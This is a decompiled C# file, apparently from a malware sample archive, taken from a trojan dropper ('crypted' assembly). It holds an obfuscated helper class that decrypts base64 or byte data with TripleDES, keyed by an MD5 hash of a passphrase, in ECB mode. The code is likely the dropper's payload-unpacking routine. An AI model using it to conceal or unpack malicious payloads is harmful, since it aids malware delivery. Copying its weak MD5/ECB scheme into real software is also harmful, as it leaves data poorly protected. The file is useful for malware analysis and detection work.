MalwareSourceCode/MSIL/Trojan-Dropper/Win32/I/Trojan-Dropper.Win32.Injector.elwj-8012f8d9cbc27bdc5242e812bac1932349108916abac095e249196a1ff3b491d/_0006.cs

// Decompiled with JetBrains decompiler
// Type: 
// Assembly: crypted, Version=4.9.4.5, Culture=neutral, PublicKeyToken=null
// MVID: 39ED6F8C-EF75-4E88-8706-EBD78B0ECCC1
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Dropper.Win32.Injector.elwj-8012f8d9cbc27bdc5242e812bac1932349108916abac095e249196a1ff3b491d.exe

using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Security.Cryptography;
using System.Text;

[StandardModule]
internal sealed class \u0006
{
  public static string \u0002(string _param0, string _param1)
  {
    TripleDESCryptoServiceProvider cryptoServiceProvider1 = new TripleDESCryptoServiceProvider();
    MD5CryptoServiceProvider cryptoServiceProvider2 = new MD5CryptoServiceProvider();
    cryptoServiceProvider1.Key = cryptoServiceProvider2.ComputeHash(Encoding.ASCII.GetBytes(_param1));
    cryptoServiceProvider1.Mode = CipherMode.ECB;
    ICryptoTransform decryptor = cryptoServiceProvider1.CreateDecryptor();
    byte[] inputBuffer = Convert.FromBase64String(_param0);
    return Encoding.ASCII.GetString(decryptor.TransformFinalBlock(inputBuffer, 0, inputBuffer.Length));
  }

  public static byte[] \u0002(byte[] _param0, string _param1)
  {
    TripleDESCryptoServiceProvider cryptoServiceProvider1 = new TripleDESCryptoServiceProvider();
    MD5CryptoServiceProvider cryptoServiceProvider2 = new MD5CryptoServiceProvider();
    cryptoServiceProvider1.Key = cryptoServiceProvider2.ComputeHash(Encoding.ASCII.GetBytes(_param1));
    cryptoServiceProvider1.Mode = CipherMode.ECB;
    ICryptoTransform decryptor = cryptoServiceProvider1.CreateDecryptor();
    byte[] inputBuffer = _param0;
    return decryptor.TransformFinalBlock(inputBuffer, 0, inputBuffer.Length);
  }
}